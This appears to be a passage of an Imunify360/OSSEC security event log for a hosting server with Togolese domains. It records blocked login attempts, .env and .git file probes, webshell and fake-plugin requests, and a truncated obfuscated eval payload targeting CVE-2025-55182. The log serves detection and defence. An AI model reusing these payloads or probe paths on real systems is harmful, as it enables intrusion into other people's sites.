2026-06-15 02:28:20 dovecot_plain authenticator failed for H=([192.168.217.1]) [105.66.4.19]:9682: 535 Incorrect authentication data (set_id=czqxxxnu@ns5.netmaster.tg)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.95.52.40
country_id: 6251999
domain: webmail.metaart.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/wp-content/.git/config||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.160.240.81
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:933e4bdddb2348efd3f1788d70aed2fdf520ac15||Title:l11st6ba6il0nm||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.207.57.100
country_id: 2921044
description:
[2026-06-15 02:31:33 +0000] info [cpaneld] 104.207.57.100 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:02:31:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313349&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781490699 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.204.125.250
country_id: 1835841
description:
2026-06-15 02:33:30 dovecot_login authenticator failed for H=([78.36.7.89]) [210.204.125.250]:56740: 535 Incorrect authentication data (set_id=felix.barigao@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.204.125.250
country_id: 1835841
description:
Jun 15 02:33:28 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.204.125.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.183.180.108
country_id: 1814991
description:
2026-06-15 02:35:58 dovecot_login authenticator failed for H=([101.13.6.91]) [118.183.180.108]:34995: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.183.180.108
country_id: 1814991
description:
Jun 15 02:35:56 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.183.180.108 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: xaad.atms.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_093b89e0\":\"\",\"_response\":{\"_prefix\":\"var hvj=arguments[0x1];var cx=hvj;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.99.48.183
country_id: 2589581
description:
41.99.48.183 - - [15/Jun/2026:02:38:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7171732&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F04%252F24%252Frn1-deviation-du-trafic-entre-sadori-et-kara%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781491096 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/04/24/rn1-deviation-du-trafic-entre-sadori-et-kara/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.7052.1065 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.99.48.183


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.62
country_id: 1269750
description:
Jun 15 02:39:11 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.62
country_id: 1269750
description:
Jun 15 02:39:19 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:02:39:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12937318&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781491164 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.182
country_id: 3469034
description:
Jun 15 02:40:11 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.182 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.9.22
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-39.65.111.9.22||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 95.134.92.152
country_id: 6251999
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:gabon-ebomaf-execute-le-projet-damenagement-et-de-bitumage-de-la-route-yombi-mandji-omboue/||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.182
country_id: 3469034
description:
Jun 15 02:40:19 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.145.107.251
country_id: 6252001
description:
Jun 15 02:42:45 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.145.107.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.145.107.251
country_id: 6252001
description:
2026-06-15 02:42:47 dovecot_plain authenticator failed for H=c-73-145-107-251.hsd1.mi.comcast.net (ashotine) [73.145.107.251]:45680: 535 Incorrect authentication data (set_id=tps@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.123
country_id: 1880251
description:
47.128.122.123 - - [15/Jun/2026:02:45:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869930&pdata=https%253A%252F%252Ftogodailynews.tg%252Fafrica-newsroom%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781491503 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/africa-newsroom/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.123


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.70.50.71
country_id: 2077456
description:
[2026-06-15 02:46:10 +0000] info [cpaneld] 115.70.50.71 - pduusmyf "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.42.143.46
country_id: 6252001
domain: togointerim.net.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/env.old||User:togoinrdceh||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.235.140.189
country_id: 6252001
description:
2026-06-15 02:54:06 dovecot_plain authenticator failed for H=189.140.235.35.bc.googleusercontent.com (rk5ipyf02jf1sj4ikfi9f) [35.235.140.189]:16384: 535 Incorrect authentication data (set_id=admin@mesyscom.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.8.64
country_id: 3895114
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/02/images-6.webp HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.103.74
country_id: 1269750
description:
Jun 15 02:54:38 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.103.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.103.74
country_id: 1269750
description:
2026-06-15 02:54:40 dovecot_login authenticator failed for H=(221-120-57-125.emome-ip.hinet.net) [182.95.103.74]:51560: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.59.11.85
country_id: 1668284
description:
2026-06-15 02:54:27 dovecot_login authenticator failed for H=116-59-11-85.emome-ip.hinet.net (187.115.118.57.static.host.gvt.net.br) [116.59.11.85]:42891: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.59.11.85
country_id: 1668284
description:
Jun 15 02:54:25 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.59.11.85 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.57.52.98
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.243.214.179
country_id: 3865483
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/themes/magxpress/assets/js/swiper-bundle.min.js?ver=1.0.0 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.234.180
country_id: 798544
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2025/09/WhatsApp-Image-2025-09-15-at-17.09.13-768x512.webp HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.209.100
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/cache/autoptimize/js/autoptimize_single_15a28232bbde9e548f275d6e52385bd6.js?ver=3.3.79 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.41.235
country_id: 146669
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/gtranslate/js/float.js?ver=6.9.4 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 153.67.17.181
country_id: 3996063
description:
153.67.17.181 - - [15/Jun/2026:02:56:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051460&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Feconomie%252Fpage%252F7%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781492204 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/economie/page/7/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2588.1492 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:153.67.17.181


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:02:59:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143688&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781492350 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 91.92.240.112
country_id: 2921044
domain: soena.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.16||T:APACHE||REQUEST_URI:/wp-content/plugins/updraftplus/readme.txt||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.186.65.117
country_id: 6252001
domain: api.butodra.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:vefzejhd||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 34.186.65.117
country_id: 6252001
domain: api.butodra.tg
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.134.213.38
country_id: 2510769
description:
[2026-06-15 03:01:56 +0000] info [webmaild] 45.134.213.38 - ccit@ccit.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 15 03:02:22 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.101.193.19
country_id: 1643084
domain: pnlstogo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/backend/.env.backup||User:pnls||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.50.217.196
country_id: 2623032
description:
[2026-06-15 03:04:03 +0000] info [webmaild] 149.50.217.196 - kagbam@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.128.24.42
country_id: 3865483
description:
186.128.24.42 - - [15/Jun/2026:03:03:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6712943&pdata=https%253A%252F%252Ftogodailynews.tg%252Fpharmacies-de-garde-de-la-semaine-du-09-au-16-decembre-2019%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781492610 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/pharmacies-de-garde-de-la-semaine-du-09-au-16-decembre-2019/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.8860.1248 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.128.24.42


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.101.193.19
country_id: 1643084
domain: pnlstogo.pnls.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/backend/.env.production||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.102.30.130
country_id: 6252001
description:
[2026-06-15 03:04:55 +0000] info [webmaild] 82.102.30.130 - delegues@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.223.88.171
country_id: 2960313
description:
[2026-06-15 03:06:08 +0000] info [webmaild] 92.223.88.171 - admin@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-06-15 03:07:18 +0000] info [cpaneld] 181.113.114.61 - cloudetracks "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.110.211.141
country_id: 1512440
description:
2026-06-15 03:07:03 H=([37.110.211.141]) [37.110.211.141]:4633 F=<John@4452.com> rejected RCPT <fernand@sodigaz.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-06-15 03:07:19 +0000] info [cpaneld] 181.113.114.61 - cloudetrackstg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cloudetrackstg (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.56
country_id: 1880251
description:
47.128.121.56 - - [15/Jun/2026:03:09:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802596&pdata=https%253A%252F%252Ftogodailynews.tg%252Fbidc-en-deuil-lex-president-bashir-mamman-ifo-est-decede%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781492945 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/bidc-en-deuil-lex-president-bashir-mamman-ifo-est-decede/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.56


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.129.238
country_id: 660013
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Archives des Education | Page 10 sur 29 | TOGODAILYNEWS&siteId=1&rec=1&rand=685209&h=11&m=10&s=5&url=http:/togodailynews.tg/category/education/page/10/&uid=0&pid=0&visitorId=54d0fddb176c97a0&fvts=1781493006&vc=1&idn=0&refts=0&lvts=1781493006&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=2020&pvId=QrmNkG&browser=Chrome_45&os=Android_8.0&device=Mobile HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.110.211.141
country_id: 1512440
description:
2026-06-15 03:09:31 H=([37.110.211.141]) [37.110.211.141]:59085 F=<John@4452.com> rejected RCPT <fernand@sodigaz.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.25.3
country_id: 146669
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/cache/autoptimize/css/autoptimize_single_ba4cc2135d79faefe28d070ad9d25a43.css?ver=3.3.79 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.249.98
country_id: 3895114
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/Integration-regionale-le-President-du-Conseil-recoit-un-emissaire-du-President-senegalais-3-300x231.webp HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.12.173.209
country_id: 1210997
description:
103.12.173.209 - - [15/Jun/2026:03:10:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13135978&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsecteur-agricole-des-agripreneurs-beneficient-des-tracteurs-boa-bkg%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781493034 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/secteur-agricole-des-agripreneurs-beneficient-des-tracteurs-boa-bkg/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.7908.1637 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.12.173.209


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.230.106.112
country_id: 1880251
description:
[2026-06-15 03:11:05 +0000] info [cpaneld] 52.230.106.112 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:03:11:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7037588&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781493089 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.22.255.28
country_id: 1814991
description:
Jun 15 03:11:55 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.22.255.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.22.255.28
country_id: 1814991
description:
2026-06-15 03:11:57 dovecot_login authenticator failed for H=(201-28-246-221.customer.tdatabrasil.net.br) [58.22.255.28]:59820: 535 Incorrect authentication data (set_id=felix.barigao@arse.tg)


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.137.126.84
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.16||T:APACHE||SC:/home/nrzector/public_html/wp-content/plugins/ubh||REQUEST_URI:/wp-content/plugins/ubh/up.php||


plugin: modsec
rule: 77350392
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.84
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoplugins/db.php?u||WPU:||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.153.29.55
country_id: 6252001
domain: anamek.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.production.bak||User:ljrwwgxg||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.84
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.16||T:APACHE||MV:/wp-admin/images/bootstrap.php||SC:/home/nrzector/public_html/wp-admin/images/bootstrap.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.71.104
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/css/admin-bar.min.css?ver=6.9.4 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.84
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/pwnd.php||WPU:||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.57.52.119
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/20260603043954331c-300x166.webp HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.84
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.16||T:APACHE||MV:/wp-admin/images/wp-conflg.php||SC:/home/nrzector/public_html/wp-admin/images/wp-conflg.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.70.107
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/HJ6JWlDXEAAE-Hn-300x240.webp HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.102.25
country_id: 453733
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.151.184.245
country_id: 2635167
description:
[2026-06-15 03:13:34 +0000] info [webmaild] 216.151.184.245 - david.ayivi@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.47.177
country_id: 690791
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/ca7f935f-ec9c-4293-afbd-9cf97aa969de-300x169.webp HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 167.253.18.240
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.167.253.18.240||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 199.96.166.192
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.199.96.166.192||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.230.106.112
country_id: 1880251
description:
[2026-06-15 03:14:52 +0000] info [cpaneld] 52.230.106.112 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 140.235.168.61
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:140.235.168.61||TA:140.235.168.61||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.62
country_id: 1880251
description:
